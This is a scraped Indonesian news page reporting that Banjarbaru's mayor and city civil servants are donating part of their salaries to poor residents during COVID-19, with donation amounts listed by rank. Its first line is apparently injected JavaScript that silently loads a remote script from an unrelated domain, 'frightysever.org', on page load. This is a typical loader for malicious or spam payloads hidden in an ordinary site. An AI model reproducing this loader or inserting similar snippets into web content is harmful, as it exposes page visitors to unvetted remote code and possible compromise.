(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Sebagai wujud kepedulian dan komitmen dalam upaya penanggulangan covid-19, Wali Kota Banjarbaru Nadjmi Adhani telah memutuskan untuk menyumbangkan gajinya serta gaji Aparatur Sipil Negara (ASN) di lingkungan Pemerintah Kota (Pemko) Banjarbaru kepada masyarakat rentan miskin yang membutuhkan.
Hal itu dibuktikan setelah dikeluarkannya surat edaran Wali Kota Banjarbaru, Nomor 800/0374/BKPP/2020, tentang Kepedulian ASN di lingkungan Pemerintah Kota Banjarbaru dalam rangka penanggulangan pandemi Covid-19 pada tanggal 8 April 2020.
Dalam surat edaran tersebut, juga dipaparkan bagaimana mekanisme pengumpulan gaji para ASN. Nantinnya, endahara masing-masing SKPD bertugas mengumpulkan setiap gaji ASN. Selanjutnya, bendahara akan menyetor dana yang sudah dikumpulkan tersebut kepada Badan Kepegawaian, Pendidikan, dan Pelatihan (BKPP) Kota Banjarbaru. Penyetoran paling lambat ditetapkan tanggal 15 setiap bulannya, terhitung sejak bulan April sampai Juni 2020.
Nadjmi mememberkan bahwa gaji yang telah terkumpul di BKPP Kota Banjarbaru, selanjutnya akan didistribusikan kepada masyarakat rentan miskin di Banjarbaru dalam bentuk paket kebutuhan pokok sehari-hari.
“Inilah bentuk kepedulian kita dan teman-teman ASN di lingkungan Pemko Banjarbaru terhadap masyarakat yang membutuhkan. Tentu, kita juga berharap pandemi covid-19 bisa cepat berakhir,” kata Wali Kota Banjarbaru.
Berikut besaran gaji yang disumbang ASN Pemko Banjarbaru per bulan :
Wali Kota Banjarbaru : Rp 6 juta
Wakil Wali Kota Banjarbaru : Rp 5 juta
Sekretaris Daerah : Rp 2 juta
Eselon II.b : Rp 750 ribu
Eselon III.a : Rp 400 ribu
Eselon II.b : Rp 350 ribu
Eselon IV.a : Rp 150 ribu
Eselon IV.b : Rp 100 ribu
Pelaksana Golongan IV : Rp 100 ribu
Pelaksana Golongan III : Rp 50 ribu
Pelaksana Golongan II : Rp 25 ribu
Kepala Puskesmas : Rp 150 ribu
ASN Fungsional Medis dan Non Medis (guru, analis kepegawaian, arsiparis, auditor, P2UPD, pembina jasa konstruksi, pustakawan, perancang peraturan perUUan, penera, perencana, analis kebijakan, pranata humas, pengelola PBJ, Pol PP, dan penyuluh sosial) ;
Fungsional Jenjang Madya : Rp 350 ribu
Fungsional Jenjang Muda : Rp 300 ribu
Fungsional Jenjang Pertama : Rp 150 ribu
ASN Paramedis dan Non Medis (pranata komputer, paming belajar, penilik, pengawas sekolah, analis pasar hasil pertanian, mediator hubungan industrial, administrator database kependudukan) ;
Fungsional Jenjang Madya : Rp 150 ribu
Fungsional Jenjang Muda : Rp 100 ribu
Fungsional Jenjang Pertama : Rp 75 ribu
Fungsional Jenjang Penyelia : Rp 50 ribu
Fungsional Jenjang Pelaksana Lanjutan : Rp 25 ribu
Fungsional Jenjang Pelaksana : Rp 25 ribu
(Kanalkalimantan.com/rico)
KANALKALIMANTAN.COM, BANJARBARU - Memperingati Hari Kartini 2024 PT PLN (Persero) Unit Induk Penyaluran dan Pusat… Read More
KANALKALIMANTAN.COM – Setiap tanggal 29 April diperingati salah satu seni atau ekspresi diri yang tertua… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Unit Pelaksana Teknis Daerah (UPTD) Taman Budaya Provinsi Kalimantan Selatan (Kalsel) menyelenggarakan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Dewan Pengurus Daerah (DPD) Komite Nasional Pemuda Indonesia (KNPI) Kota Banjarbaru menggelar… Read More
KANALKALIMANTAN.COM, BANJARBARU - Semangat memperingati Hari Kartini 2024, PT PLN (Persero) Unit Induk Penyaluran dan… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS – “Konser Malam Pestaforia Kapuas 2024” menyemarakan Hari Jadi ke-218 Kota Kuala… Read More
This website uses cookies.